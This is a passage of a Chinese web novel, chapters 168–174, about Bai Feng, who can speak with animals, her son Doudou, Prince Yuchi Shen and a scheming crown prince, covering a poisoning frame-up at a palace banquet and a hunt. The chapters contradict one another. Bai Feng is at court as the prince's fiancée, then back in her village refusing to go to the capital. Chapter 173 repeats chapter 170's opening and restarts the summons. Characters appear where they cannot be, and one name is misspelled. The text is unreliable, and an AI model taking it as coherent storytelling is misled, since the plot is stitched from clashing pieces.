“她和太子曾经有过一段情。”徽臻王说,“但后来太子娶了她姐姐,她就嫁给了户部尚书的儿子。” 白凤心里一震。 原来林婉儿和太子有这样的关系。 “所以她才会这么恨我?”白凤问。 “对。”徽臻王说,“她怕你查出太子的事,影响到她。” 白凤点点头。 她明白了。 林婉儿是太子的人,自然要维护太子。 “那我们该怎么办?”白凤问。 “小心她。”徽臻王说,“她肯定会找机会对付你。” 白凤心里一紧。 她知道,接下来的日子,不会太平。 果然,没过几天,林婉儿就找上门来了。 那天,皇后在宫里办宴会,邀请了京城里所有的贵妇和小姐。 第169章 生怕出什么差错 白凤作为徽臻王的未婚妻,自然也在邀请之列。 白凤换上了一身新衣裳,跟着徽臻王进了宫。 宴会设在御花园里,到处都是花团锦簇,热闹非凡。 白凤跟着徽臻王,走进了御花园。 林婉儿早就在那里等着了,看见白凤来,眼里闪过一丝冷意。 “白姑娘来了。”林婉儿笑着走过来,“快请坐。” 白凤点点头,坐了下来。 宴会开始了,各种美食佳肴摆满了桌子。 白凤吃得很小心,生怕出什么差错。 就在这时,林婉儿突然站起来,指着白凤:“你在酒里下毒!” 白凤愣住。 周围的人都看了过来。 “你胡说什么?”白凤说。 “我没有胡说!”林婉儿说,“刚才我喝了你递给我的酒,现在肚子疼得厉害!” 说完,她捂着肚子,倒在了地上。 周围的人都慌了,纷纷围了上来。 皇后也走了过来,看着白凤:“白凤,这是怎么回事?” “我没有下毒。”白凤说。 “那她为什么会肚子疼?”皇后问。 白凤看着林婉儿,心里明白了。 这是林婉儿设的局。 她想陷害自己。 “皇后娘娘,我可以证明我没有下毒。”白凤说。 “怎么证明?”皇后问。 白凤走到桌边,拿起那杯酒,一饮而尽。 周围的人都惊呆了。 白凤放下酒杯,看着林婉儿:“如果酒里有毒,我现在应该也肚子疼了。” 林婉儿脸色一变。 皇后看着她:“林婉儿,你怎么解释?” 林婉儿咬着牙,不说话。 白凤走到她面前,蹲下来:“林小姐,你是不是吃错东西了?” 林婉儿瞪着她。 白凤笑了笑,从袖子里拿出一个小瓶子:“这是我刚才在你桌上捡到的。” 皇后接过瓶子,打开一闻,脸色立刻变了。 “这是泻药。” 周围的人都倒吸了一口凉气。 原来林婉儿是自己吃了泻药,然后陷害白凤。 皇后看着林婉儿,脸色阴沉:“林婉儿,你好大的胆子!” 林婉儿脸色煞白,跪在地上:“皇后娘娘,我……我不是故意的……” “不是故意的?”皇后冷笑,“你这是故意陷害白凤!” 林婉儿不说话了,只是低着头。 皇后看着白凤:“白凤,你受委屈了。” 白凤摇摇头:“没事。” 皇后点点头,看着林婉儿:“来人,把她带下去,罚她禁足三个月。” 林婉儿被人拖了下去,临走前,还狠狠地瞪了白凤一眼。 白凤没有理她,只是坐回了座位上。 徽臻王走过来,低声说:“你做得很好。” 白凤笑了笑:“还好我早有准备。” 原来,白凤早就猜到林婉儿会找机会陷害她,所以一直在留意她的动作。 刚才林婉儿偷偷往自己嘴里塞东西的时候,白凤就看见了。 她趁着林婉儿不注意,把那个小瓶子捡了起来。 果然,林婉儿的计划失败了。 宴会继续进行,但气氛已经不像之前那么热闹了。 白凤坐在座位上,心里却在想着别的事。 林婉儿这次失败了,但她肯定不会善罢甘休。 她得更加小心。 就在这时,一个丫鬟走过来,低声说:“白姑娘,有人找您。” 白凤跟着丫鬟,来到了御花园的角落。 那里站着一个穿着朴素衣裳的女子。 “你是?”白凤问。 女子抬起头,白凤愣住了。 那是柳如烟。 “柳姑娘,你怎么在这里?”白凤问。 柳如烟看着她,眼里满是担忧:“我听说林婉儿要对付你,所以来提醒你。” “谢谢你。”白凤说,“不过我已经没事了。” 柳如烟松了口气:“那就好。” 白凤看着她:“你怎么知道林婉儿要对付我?” 柳如烟沉默了一会儿:“因为我听到了她和太子的对话。” 白凤心里一震:“她和太子?” “对。”柳如烟说,“他们在密谋对付你。” 白凤握紧了拳头。 原来太子也参与了。 “他们打算怎么做?”白凤问。 “我不知道。”柳如烟说,“但你一定要小心。” 白凤点点头。 柳如烟转身离开,白凤站在原地,心里却在盘算着接下来该怎么办。 太子的势力这么大,她一个人斗不过。 但她有徽臻王。 白凤回到宴会上,徽臻王看见她回来,问道:“怎么了?” 白凤把柳如烟的话说了一遍。 徽臻王脸色一沉:“太子……” “我们该怎么办?”白凤问。 徽臻王想了想:“我去找皇兄。” “现在?” “对。”徽臻王说,“不能再拖了。” 两人离开了宴会,直奔御书房。 皇上正在批阅奏折,看见徽臻王来,抬起头:“又有什么事?” “皇兄,我有重要的事要禀报。”徽臻王说。 皇上放下奏折:“说吧。” 徽臻王把太子和林婉儿密谋的事说了一遍。 皇上听完,脸色越来越难看。 “太子……他怎么敢……” “皇兄,太子的野心越来越大了。”徽臻王说,“如果不管,迟早会出大事。” 皇上沉默了很久,终于点了点头:“我知道了。” 徽臻王和白凤离开了御书房,坐上马车。 “皇上会怎么做?”白凤问。 “不知道。”徽臻王说,“但至少,他已经知道了太子的野心。” 白凤点点头。 马车走到半路,突然停了下来。 白凤掀开帘子,看见前面站着一群人。 为首的,是太子。 太子走过来,看着徽臻王,眼里满是冷意。 “徽臻王,你好大的胆子,竟敢在皇兄面前告我的状。” 徽臻王没有说话,只是看着他。 太子冷笑:“你以为皇兄会信你?做梦!” “信不信,不是你说了算。”徽臻王说。 太子脸色一变,看着白凤:“都是因为你这个女人!” 白凤没有说话,只是淡淡地看着他。 太子咬着牙:“你给我等着,我不会放过你的!” 说完,他转身离开。 白凤看着他的背影,心里却很平静。 她知道,这只是开始。 接下来,还有更多的麻烦等着她。 但她不怕。 因为她有徽臻王。 马车继续前行,回到了徽臻王府。 白凤坐在房间里,看着窗外的月亮,心里却在想着豆豆。 不知道豆豆现在怎么样了。 她想他了。 就在这时,门被敲响了。 白凤走过去开门,门外站着徽臻王。 “还没睡?”徽臻王问。 白凤摇摇头:“睡不着。” 徽臻王走进来,坐在桌边:“在想什么?” “在想豆豆。”白凤说。 徽臻王点点头:“等事情解决了,我陪你回去看他。” 白凤心里一暖:“谢谢你。” 徽臻王看着她,眼里满是温柔:“不用谢,这是我应该做的。” 白凤看着他,心里突然有些感动。 她知道,徽臻王是真心对她好。 两人坐在那里,谁也没有说话。 第170章 似懂非懂 白凤关上门后,靠在门板上,手心全是汗。 豆豆从屋里跑出来,抱住她的腿:“娘,刚才那个叔叔又来了?” “嗯。”白凤蹲下来,摸摸他的头,“豆豆不怕,娘会保护你。” “我不怕。”豆豆挺起小胸脯,“我有乐乐和来财保护我呢。” 话音刚落,院子里的乐乐就叫了一声,来财也跟着叫起来。 白凤心里一动,走到院子里。乐乐正对着墙角叫,来财在旁边转圈。 “怎么了?”白凤走过去,看到墙角蹲着一只灰扑扑的野猫。 那猫瘦得皮包骨头,眼睛却亮得吓人,正盯着白凤看。 白凤心里涌起一股奇怪的感觉,那猫的眼神里,竟然有种求救的意味。 她蹲下来,伸出手:“过来。” 那猫犹豫了一下,慢慢走过来,在她手心蹭了蹭。 白凤摸着它的头,脑子里突然冒出一个念头——这猫是来报信的。 她闭上眼睛,集中精神,脑海里渐渐浮现出一些画面。 京城,一座高大的府邸,一个穿着黑色长袍的男人站在窗前,背影笔直。 那是徽臻王。 白凤猛地睁开眼睛,手心冒出冷汗。 她能看到徽臻王在做什么?这是怎么回事? 那猫又蹭了蹭她的手,喵了一声,转身跑了。 白凤站起来,心里乱得很。 她这能力,越来越不对劲了。 以前只能听懂动物说话,现在竟然能看到画面? 豆豆跑过来:“娘,那只猫好可怜,我们能养它吗?” “它不需要我们养。”白凤说,“它有自己的路要走。” 豆豆似懂非懂地点点头。 晚上,白凤躺在床上,翻来覆去睡不着。 徽臻王到底想干什么?为什么非要她进京? 她想不通,干脆起身,走到院子里。 月光洒在院子里,乐乐和来财都睡着了,福球缩在屋檐下,眯着眼睛。 白凤坐在石凳上,看着天上的月亮。 就在这时,院门外传来脚步声。 白凤心里一紧,站起来走到门边。 “谁?” “是我。” 门外传来一个低沉的声音,白凤愣了一下。 这声音,她听过。 她打开门,门外站着一个穿着深蓝色长袍的男人,脸上戴着面具,只露出一双眼睛。 那双眼睛,深邃得像夜空。 “你是……”白凤皱起眉头。 “尉迟深。”男人摘下面具,露出一张棱角分明的脸。 白凤倒吸一口凉气。 徽臻王,竟然真的来了。 “你来干什么?”白凤冷着脸。 “我来接你进京。”尉迟深说。 “我说了,不去。”白凤转身要关门。 尉迟深伸手挡住门:“白凤,你听我说。” “没什么好说的。”白凤推他的手,“你走。” “我不走。”尉迟深说,“除非你答应跟我进京。” “那你就在这站一辈子吧。”白凤用力推门。 尉迟深没动,门推不动。 白凤气得直跺脚:“你到底想怎么样?” “我想让你回到我身边。”尉迟深说。 白凤愣住了。 尉迟深看着她,眼神里有种说不出的情绪:“白凤,这些年,我一直在找你。” “找我干什么?”白凤冷笑,“找我回去当你的王妃?然后关在府里,一辈子见不到天日?” “不是。”尉迟深摇头,“我只是想……” “想什么?”白凤打断他,“想弥补?想赎罪?还是想证明你当年没有抛弃我?” 尉迟深沉默了。 白凤看着他,心里涌起一股说不出的情绪。 当年,她怀着豆豆,被赶出王府,在街上流浪。 那时候,她以为自己会死。 但她活下来了,还把豆豆养大了。 这些年,她从来没有想过要回去。 因为她知道,回去了,也不会有好日子过。 “你走吧。”白凤说,“我不会跟你回去的。” “白凤……” “走!”白凤用力推门。 尉迟深站在门外,看着她,眼神里有种说不出的无奈。 最后,他转身离开了。 白凤关上门,靠在门板上,眼泪不争气地流了下来。 她以为自己早就不在乎了。 但看到他,心里还是会疼。 第二天,白凤起得很早。 她要去镇上买些东西,顺便看看有没有什么活儿可以干。 豆豆还在睡觉,她没叫醒他,自己带着乐乐出门了。 镇上人不多,白凤走到集市,看到徐禄生在卖菜。 “白姑娘,这么早?”徐禄生笑着打招呼。 “嗯,出来买点东西。”白凤说。 “昨晚上,我看到有人在你家门口站了很久。”徐禄生压低声音,“是不是童氏又来找麻烦了?” “不是。”白凤摇头,“是别人。” “别人?”徐禄生好奇地看着她。 白凤不想多说,转移话题:“你这菜怎么卖?” “你要就拿去,不要钱。”徐禄生说。 “那怎么行。”白凤掏出钱。 徐禄生推回去:“你帮了我那么多,这点菜算什么。” 白凤拗不过他,只好收下。 她正要离开,突然听到集市那边传来一阵骚动。 “快看,那是什么?” “好大的鸟!” 白凤心里一紧,转身看去。 只见一只巨大的黑鹰从天而降,落在集市中央。 那鹰足足有半人高,羽毛黑得发亮,眼睛锐利得吓人。 镇上的人都吓得往后退,有人甚至尖叫起来。 白凤走过去,那鹰看到她,叫了一声,低下头。 白凤伸出手,摸了摸它的头。 “你怎么来了?” 那鹰又叫了一声,白凤脑海里浮现出一些画面。 京城,皇宫,太子在密谋什么。 白凤心里一沉。 太子要对她动手了。 她转身对徐禄生说:“我得回去了。” “白姑娘,这鹰……”徐禄生看着那鹰,眼神里满是惊讶。 “它是我朋友。”白凤说完,带着鹰离开了。 回到家,豆豆已经醒了,看到那鹰,高兴得跳起来。 “娘,这是什么鸟?好大!” “它叫黑风。”白凤说,“是来帮我们的。” 豆豆兴奋地围着黑风转,黑风倒也不介意,任由他摸。 白凤坐在院子里,脑子里乱成一团。 太子要对她动手,她得想个办法。 但她能怎么办? 她只是个普通女人,怎么斗得过太子? 就在这时,院门又被敲响了。 白凤走过去开门,门外站着尉迟深。 “你怎么又来了?”白凤皱起眉头。 “我有话要跟你说。”尉迟深说。 “我不想听。”白凤要关门。 尉迟深挡住门:“白凤,太子要对你动手了。” 白凤愣住了。 “你怎么知道?” “我有我的消息来源。”尉迟深说,“你现在很危险,必须跟我回京。” “回京?”白凤冷笑,“回京不是更危险?” “不。”尉迟深摇头,“只有在我身边,你才安全。” 白凤看着他,心里涌起一股复杂的情绪。 第171章 他说的是真的 她不想相信他。 但她知道,他说的是真的。 太子要对她动手,她一个人,斗不过。 “我凭什么相信你?”白凤问。 “因为我是豆豆的父亲。”尉迟深说。 白凤心里一震。 豆豆的父亲。 这个身份,她从来没有承认过。 但现在,尉迟深说出来了。 “你……”白凤不知道该说什么。 “我知道,这些年我对不起你。”尉迟深说,“但我不想再失去你们了。” 白凤沉默了。 她看着尉迟深,心里涌起一股说不出的情绪。 最后,她叹了口气:“进来吧。” 尉迟深走进院子,看到豆豆和黑风,眼神里闪过一丝惊讶。 “这是……” “黑风。”白凤说,“我的朋友。” 尉迟深看着黑风,又看看白凤,眼神里有种说不出的复杂。 “白凤,你的能力,比我想象的还要强。” “所以呢?”白凤冷冷地说,“你是来抓我的?” “不。”尉迟深摇头,“我是来保护你的。” 白凤不说话,她不知道该不该相信他。 尉迟深走到她面前,认真地看着她:“白凤,我知道你不相信我。但我发誓,这次,我不会再让你受伤。” 白凤看着他的眼睛,心里涌起一股暖意。 但她很快压下去。 “你的誓言,不值钱。”她说。 尉迟深沉默了。 他知道,白凤说的是对的。 当年,他也发过誓,要保护她一辈子。 但最后,他还是让她受伤了。 “这次不一样。”尉迟深说,“我会用我的命,保护你和豆豆。” 白凤看着他,心里涌起一股说不出的情绪。 她想相信他。 但她不敢。 尉迟深在白凤家住了下来。 白凤本来不同意,但尉迟深说,太子的人随时可能来,他必须保护她。 白凤拗不过他,只好让他住在柴房里。 豆豆倒是很高兴,每天缠着尉迟深问东问西。 “叔叔,你是做什么的?” “我是……”尉迟深顿了一下,“我是个将军。” “将军?”豆豆眼睛亮了,“那你会打仗吗?” “会。” “那你能教我吗?” 尉迟深看着豆豆,眼神里闪过一丝柔和:“可以。” 白凤在旁边看着,心里涌起一股复杂的情绪。 豆豆从小就没有父亲,现在看到尉迟深,竟然这么亲近。 她不知道该高兴还是该难过。 晚上,豆豆睡着了,白凤坐在院子里,看着天上的星星。 尉迟深走过来,坐在她旁边。 “你在想什么?” “没什么。”白凤说。 “你在想豆豆。”尉迟深说,“你担心他会认我这个父亲。” 白凤沉默了。 尉迟深说的没错,她确实在担心这个。 “白凤,我知道我对不起你。”尉迟深说,“但豆豆是我的儿子,我想尽我的责任。” “你的责任?”白凤冷笑,“你现在才想起来要尽责任?” “我知道晚了。”尉迟深说,“但总比不尽强。” 白凤不说话,她不知道该说什么。 尉迟深看着她,眼神里有种说不出的情绪:“白凤,我想问你一个问题。” “什么?” “你恨我吗?” 白凤愣住了。 恨吗? 她不知道。 当年,她确实恨过。 恨他抛弃她,恨他不管她死活。 但这些年,她渐渐放下了。 因为她知道,恨一个人,只会让自己更痛苦。 “我不恨你。”白凤说,“因为你不值得我恨。” 尉迟深心里一痛。 不值得恨,比恨更伤人。 “白凤……” “你别说了。”白凤打断他,“我累了,要去睡了。” 她站起来,走进屋里。 尉迟深坐在院子里,看着天上的星星,心里涌起一股说不出的情绪。 他知道,白凤不会原谅他。 但他不会放弃。 第二天,白凤带着豆豆去镇上。 尉迟深跟在后面,像个保镖。 镇上的人看到他,都好奇地打量。 “白姑娘,这位是……”徐禄生问。 “他是……”白凤不知道该怎么介绍。 “我是她夫君。”尉迟深说。 白凤瞪了他一眼。 徐禄生愣了一下,然后笑了:“原来白姑娘已经成亲了,恭喜恭喜。” 白凤想解释,但尉迟深拉住她的手。 “走吧,我们还有事。” 白凤挣脱他的手,冷着脸走了。 尉迟深跟在后面,嘴角勾起一丝笑意。 他知道白凤生气了,但他不在乎。 只要能让她留在他身边,他什么都愿意做。 回到家,白凤把东西放下,转身对尉迟深说:“你以后别乱说话。” “我没乱说。”尉迟深说,“我们本来就是夫妻。” “那是以前。”白凤说,“现在不是了。” “为什么不是?”尉迟深走到她面前,“我们有和离书吗?没有。所以我们还是夫妻。” 白凤被他气笑了:“你还真是不要脸。” “对。”尉迟深说,“为了你,我可以不要脸。” 白凤不想理他,转身要走。 尉迟深拉住她的手:“白凤,我是认真的。” 白凤看着他,心里涌起一股说不出的情绪。 她想推开他,但手却动不了。 就在这时,豆豆跑进来:“娘,乐乐在叫你。” 白凤回过神,挣脱尉迟深的手,走到院子里。 乐乐正对着墙角叫,来财也在旁边转圈。 白凤走过去,看到墙角蹲着一只小松鼠。 那松鼠浑身发抖,眼睛里满是恐惧。 白凤蹲下来,伸出手:“别怕,我不会伤害你。” 那松鼠犹豫了一下,慢慢爬到她手心里。 白凤摸着它的头,脑海里浮现出一些画面。 京城,皇宫,太子在和人密谋。 “围猎?”白凤皱起眉头。 尉迟深走过来:“怎么了?” “太子要办围猎。”白凤说,“他想在围猎的时候对我动手。” 尉迟深脸色一沉:“他想借围猎之名,请君入瓮。” “对。”白凤说,“他已经派人来请我进京了。” “那你不能去。”尉迟深说。 “不去?”白凤冷笑,“不去他就会来抓我。” 尉迟深沉默了。 他知道白凤说的是对的。 太子既然已经盯上她,就不会轻易放过。 “那怎么办?”豆豆担心地问。 白凤摸了摸他的头:“别怕,娘有办法。” “什么办法?”尉迟深问。 白凤看着他,眼神里闪过一丝狡黠:“既然他想请君入瓮,那我就将计就计。” “你想……”尉迟深心里一惊。 “对。”白凤说,“我要去参加围猎。” “不行。”尉迟深说,“太危险了。” “不去更危险。”白凤说,“与其被动挨打,不如主动出击。” 尉迟深看着她,心里涌起一股说不出的情绪。 他知道白凤说的是对的。 但他不想让她冒险。 “我跟你一起去。”尉迟深说。 第172章 那你一个人… “不用。”白凤说,“你跟着我,反而会让太子起疑。” “那你一个人……” “我不是一个人。”白凤打断他,“我有我的朋友。” 她看着院子里的乐乐、来财、福球,还有黑风。 尉迟深明白了。 白凤要用她的能力,对付太子。 “你确定?”尉迟深问。 “确定。”白凤说,“这次,我要让太子知道,我不是好惹的。” 尉迟深看着她,眼神里闪过一丝欣赏。 这个女人,比他想象的还要强。 几天后,太子的人果然来了。 那是个太监,带着圣旨,宣白凤进京参加围猎。 白凤接了圣旨,表面上恭恭敬敬,心里却冷笑。 太子,你等着吧。 临走前,白凤把豆豆托付给徐禄生。 “徐大哥,豆豆就拜托你了。” “白姑娘放心。”徐禄生说,“我会照顾好他的。” 豆豆抱着白凤的腿,眼泪汪汪:“娘,你什么时候回来?” “很快。”白凤蹲下来,摸了摸他的头,“豆豆要乖乖听话,等娘回来。” “嗯。”豆豆用力点头。 白凤站起来,看着尉迟深:“你也别跟着我。” “我不跟着你,但我会在暗处保护你。”尉迟深说。 白凤不说话,她知道拗不过他。 她带着乐乐、来财、福球和黑风,上了马车。 马车缓缓驶出镇子,白凤坐在车里,看着窗外的风景,心里涌起一股说不出的情绪。 这次进京,不知道会发生什么。 但她不怕。 因为她有她的朋友。 马车走了三天,终于到了京城。 京城比白凤想象的还要繁华,街上人来人往,热闹非凡。 但白凤没心情欣赏,她直接去了皇宫。 太子在宫门口等着她,脸上挂着笑容。 “白姑娘,久仰大名。” “太子殿下客气了。”白凤行了个礼。 太子看着她,眼神里闪过一丝贪婪:“听说白姑娘能与动物沟通,本宫很是好奇。” “殿下过誉了。”白凤说,“民女只是略懂一二。” “略懂一二?”太子笑了,“白姑娘太谦虚了。本宫听说,你能让动物听你的话,这可不是略懂一二。” 白凤心里一沉。 太子果然是冲着她的能力来的。 “殿下想看,民女自然不敢推辞。”白凤说。 “好。”太子说,“那就等围猎的时候,让本宫见识见识。” 白凤点点头,心里却冷笑。 太子,你会后悔的。 围猎定在三天后,地点在京城外的猎场。 白凤住在驿馆里,每天都有人监视她。 她知道,太子在防着她。 但她不在乎。 因为她已经做好了准备。 第三天,围猎开始了。 猎场里聚集了不少人,有皇子、大臣,还有一些官家小姐。 白凤站在人群里,看着这些人,心里涌起一股说不出的情绪。 这些人,都是来看热闹的。 他们不知道,今天会发生什么。 太子骑着马,走到白凤面前:“白姑娘,今天就让本宫见识见识你的本事吧。” “殿下请看。”白凤说完,吹了一声口哨。 下一秒,天空中传来一阵鸟鸣。 无数的鸟从四面八方飞来,遮天蔽日。 猎场里的人都吓了一跳,有人甚至尖叫起来。 太子脸色一变:“这是……” “殿下不是想看吗?”白凤冷笑,“这就是我的本事。” 话音刚落,那些鸟突然俯冲下来,朝着太子飞去。 太子吓得脸色发白,连忙躲避。 但那些鸟太多了,他根本躲不开。 就在这时,猎场里的野兽也开始暴动。 野猪、狼、熊,全都冲了出来,朝着人群扑去。 猎场里一片混乱,到处都是尖叫声。 白凤站在原地,看着这一切,眼神冷漠。 太子,这就是你想要的围猎。 猎场里乱成一团。 野兽到处乱窜,鸟群在天上盘旋,不时俯冲下来攻击人。 太子被护卫保护着,脸色煞白。 “快,快把这些畜生赶走!”他大喊。 但护卫们根本无能为力,那些野兽力气大得惊人,几个护卫被野猪撞飞,摔在地上爬不起来。 一只黑熊冲到太子面前,护卫们拼命抵挡,但黑熊一掌拍飞两个人,直接朝太子扑去。 太子吓得尿了裤子,瘫在地上动弹不得。 就在这时,一道身影冲了过来,一剑刺向黑熊。 黑熊吃痛,转身逃走了。 太子抬头一看,是尉迟深。 “王爷……”太子声音发颤。 尉迟深没理他,转身看向白凤。 白凤站在不远处,脸上没有任何表情。 “够了。”尉迟深说。 白凤吹了一声口哨,那些野兽和鸟群立刻停了下来,退到一边。 猎场里终于安静了。 但地上躺着不少人,有的受伤,有的吓晕了。 太子爬起来,看着白凤,眼神里满是恐惧和愤怒。 “你……你竟敢……” “我竟敢什么?”白凤冷笑,“殿下不是想看我的本事吗?我这不是展示给你看了?” “你这是谋反!”太子大喊,“来人,把她抓起来!” 护卫们面面相觑,没人敢动。 他们刚才都看到了,那些野兽听白凤的话。 要是惹怒了她,谁知道会发生什么。 尉迟深走到白凤面前,挡在她和太子之间。 “太子殿下,这件事是你先起的头。”尉迟深说,“你请白姑娘来参加围猎,本就是想对她不利。现在反倒怪她?” “本宫……本宫没有!”太子矢口否认。 “有没有,大家心里都清楚。”尉迟深说。 太子脸色铁青,但不敢再说什么。 就在这时,皇帝带着人赶到了。 “怎么回事?”皇帝看着一片狼藉的猎场,脸色阴沉。 太子连忙跪下:“父皇,是白凤,她用妖术控制野兽,想要害儿臣!” 皇帝看向白凤,眼神锐利。 白凤不卑不亢地行了个礼:“陛下,民女没有用妖术。民女只是能与动物沟通,让它们听我的话。” “沟通?”皇帝皱起眉头,“你是说,你能控制动物?” “不是控制,是沟通。”白凫纠正道,“动物有自己的想法,我只是能听懂它们的话,和它们交流。” 皇帝沉默了。 他看着白凤,又看看猎场里的野兽,眼神里闪过一丝忌惮。 这种能力,太危险了。 “陛下。”尉迟深跪下,“白凤是臣的妻子,她没有恶意。今天的事,是太子殿下先设局,想要害她。她只是自保。” 皇帝看着尉迟深,眼神复杂。 他知道尉迟深说的是真的。 太子这些年越来越不像话,总想着争权夺利。 但白凤的能力,确实让他忌惮。 “白凤。”皇帝开口,“你这能力,从何而来?” “民女也不知道。”白凤说,“从小就有了。” 皇帝点点头,沉吟片刻,说:“既然如此,朕给你两个选择。” 第173章 狠劲 白凤关上门,靠在门板上,手心全是汗。 豆豆从屋里跑出来,抱住她的腿:“娘,刚才那个黑叔叔又来了?” “嗯。”白凤蹲下来,摸摸儿子的头,“豆豆别怕,娘不会让任何人把你带走。” 乐乐凑过来,用脑袋蹭她的手:“主人,那个王爷真要来?” “他敢来,我就敢跑。”白凤站起身,眼里闪过一丝狠劲,“大不了带着你们躲到深山里去,看他怎么找。” 来财趴在院子角落,懒洋洋地打了个哈欠:“主人,你想多了。那王爷要是真想找你,躲哪儿都没用。” 白凤瞪它一眼:“你就不能说点好听的?” “我说实话而已。”来财翻了个身,“不过你也别太担心,那王爷既然派人来请,说明还顾着脸面。真要强抢,早就动手了。” 这话倒是有几分道理。 白凤琢磨了一会儿,决定先不管那么多。兵来将挡,水来土掩,实在不行就带着豆豆连夜跑路。 第二天一早,白凤照常去镇上卖药材。 这几天她的名声扭转过来,镇上的人对她客气了不少。有几个婆子还主动跟她打招呼,夸她有骨气。 白凤笑着应付,心里却盘算着别的事。 她得多攒点银子,万一真要跑路,总得有盘缠。 正想着,前面传来一阵喧哗。 白凤抬头一看,镇口围了一大群人,不知道在看什么热闹。 她走过去,挤进人群,就见童氏跪在地上,披头散发,脸上还挂着两道泪痕。 “各位乡亲,你们要给我做主啊!”童氏哭得上气不接下气,“那白凤就是个白眼狼,我好心收留她母子,她倒好,反咬我一口,还告到县衙去!” 白凤冷笑一声,正要开口,旁边有人先说话了。 “童氏,你少在这儿装可怜。”说话的是镇上的李婆子,她叉着腰,一脸不屑,“县令都判了,说明你确实拿了白家的东西。现在还好意思喊冤?” “就是就是。”另一个婆子也附和,“我早就看出来了,你这人心眼坏得很。白凤她爹在世的时候,你没少占便宜吧?” 童氏脸色一阵青一阵白,张嘴想辩解,却被人群的议论声淹没。 白凤看着她狼狈的样子,心里痛快极了。 这就叫恶有恶报。 正在这时,人群突然安静下来。 白凤抬头,就见一队黑甲侍卫从街口走来,为首的正是那个来过两次的侍卫。 侍卫走到白凤面前,单膝跪地:“白姑娘,王爷有令,请您即刻进京。” 周围的人都愣住了。 白凤深吸一口气,压下心里的火气:“我说了,不去。” “白姑娘,王爷说了,若是您不愿意,他会亲自来接。”侍卫的声音很平静,但话里的意思却让人心惊,“王爷明日便会到达此地。” 白凤的心一沉。 明天?这么快? 她咬了咬牙,正要说话,童氏突然从地上爬起来,指着她大喊:“我就说嘛!白凤你个贱人,原来是攀上高枝了!怪不得敢告我,原来是有靠山了!” 白凤转头,冷冷地看着她:“闭嘴。” “我不闭嘴!”童氏越说越起劲,“你以为我不知道?你肚子里那个野种,就是这个什么王爷的吧?现在人家来接你了,你还装什么清高?” 话音刚落,黑甲侍卫猛地站起身,一掌劈向童氏。 童氏惨叫一声,直接飞了出去,重重摔在地上。 “放肆!”侍卫的声音冰冷,“胆敢辱骂王爷,该当何罪?” 童氏躺在地上,疼得说不出话来。 周围的人都吓得往后退,生怕惹祸上身。 白凤看着这一幕,心里五味杂陈。 她知道,这次是真的躲不掉了。 侍卫转过身,对她说:“白姑娘,请您收拾一下,明日王爷到了,会亲自护送您进京。” 白凤没说话,转身就走。 她得回去跟豆豆商量商量,看看到底该怎么办。 回到城隍庙,豆豆正在院子里玩。 看见她回来,豆豆立刻跑过来:“娘,你回来啦!” 白凤蹲下来,抱住儿子:“豆豆,娘问你个事。” “什么事?” “如果有一天,娘要带你去很远的地方,你愿意吗?” 豆豆歪着头想了想:“去哪儿?” “京城。” “京城?”豆豆眼睛一亮,“那里是不是很大?有很多好吃的?” 白凤笑了:“是啊,很大,也有很多好吃的。” “那我愿意!”豆豆用力点头,“只要跟娘在一起,去哪儿都行!” 白凤鼻子一酸,把儿子抱得更紧。 乐乐凑过来,用脑袋蹭她的手:“主人,你真的要去京城?” “不去又能怎么办?”白凤叹了口气,“那个王爷明天就来了,我总不能真的带着豆豆跑路吧?” 来财从屋里走出来,懒洋洋地说:“我看你就是想多了。那王爷既然派人来请,说明还是尊重你的。你要是真跑了,惹恼了他,到时候可就不好收场了。” 白凤沉默了一会儿,最后还是点了点头。 算了,去就去吧。 反正她也不是好欺负的,到了京城,大不了再想办法。 当天晚上,白凤收拾了一些东西,准备明天出发。 她把这几天攒的银子都装好,又把药材和干粮打包,最后看了看这个住了没多久的城隍庙,心里有些不舍。 豆豆趴在床上,已经睡着了。 白凤坐在床边,看着儿子熟睡的脸,心里涌起一股说不出的情绪。 她不知道去京城会遇到什么,但她知道,无论如何,她都要保护好豆豆。 第二天一早,白凤刚起床,就听见外面传来马蹄声。 她走到院子里,就见一队黑甲侍卫已经在门外等着了。 为首的侍卫下马,对她行礼:“白姑娘,王爷已到镇口,请您随我们前去。” 白凤深吸一口气,牵着豆豆的手,跟着侍卫走了出去。 镇口已经围了一大群人,都在看热闹。 白凤走过去,就见一辆华丽的马车停在路边,车帘微微掀开,露出一个男人的侧脸。 那男人看起来三十出头,五官俊朗,但眉眼间却带着一股说不出的冷意。 他看见白凤,眼里闪过一丝复杂的情绪,但很快就恢复了平静。 “白凤。”他开口,声音低沉,“好久不见。” 白凤站在原地,没有说话。 她不知道该说什么,也不想说什么。 尉迟深看着她,嘴角勾起一个淡淡的弧度:“你还是这么倔。” “我不想去京城。”白凤直接说。 “我知道。”尉迟深点点头,“但你必须去。” “为什么?” “因为豆豆是我的儿子。” 白凤的心一紧。 她知道这一天迟早会来,但真的听到这句话,还是觉得心里堵得慌。 “他是我的儿子。”白凤冷冷地说,“跟你没关系。” 第174章 这次是真的躲不掉了 “白凤,你知道我不是这个意思。”尉迟深的声音里带着一丝无奈,“我只是想给豆豆一个名分,给你一个交代。” “我不需要。”白凤转身就走,“我们过得好好的,不需要你来打扰。” “白凤!”尉迟深叫住她,“你以为你能躲一辈子吗?豆豆总有一天会知道真相,到那时候,你要怎么跟他解释?” 白凤停下脚步,背对着他,没有说话。 尉迟深叹了口气:“跟我回京城吧。我不会强迫你做任何事,只是想让豆豆有个正常的身份。” 白凤沉默了很久,最后还是点了点头。 她知道,这次是真的躲不掉了。 马车一路向北,走了整整三天。 白凤坐在车里,看着窗外的风景,心里乱得很。 豆豆倒是兴奋得不行,趴在窗边,看着外面的山山水水,不停地问这问那。 “娘,那是什么?” “那是河。” “那是什么?” “那是树。” “那是什么?” 白凤被问得头疼,干脆闭上眼睛,假装睡觉。 乐乐趴在她脚边,小声说:“主人,你真的要跟那个王爷回京城?” “不然呢?”白凤睁开眼睛,看着它,“你有更好的办法?” 乐乐摇摇头:“我只是觉得,那个王爷看起来不太好惹。” “谁说不是呢。”白凤叹了口气,“但现在也没别的办法了。” 来财从角落里爬出来,懒洋洋地说:“我看那个王爷对你还挺客气的,你就别想太多了。” 白凤没理它,继续看着窗外。 马车走了一天,终于在傍晚时分到达了一个驿站。 侍卫们下马,开始安排住宿。 白凤牵着豆豆下车,刚走进驿站,就听见一个熟悉的声音。 “白凤?” 她转头,就见一个穿着青衫的男人站在不远处,正惊讶地看着她。 白凤愣了一下,认出了对方:“徐禄生?” 徐禄生快步走过来,上下打量着她:“你怎么在这儿?还有这些侍卫……” 白凤正要解释,尉迟深从马车上下来,走到她身边。 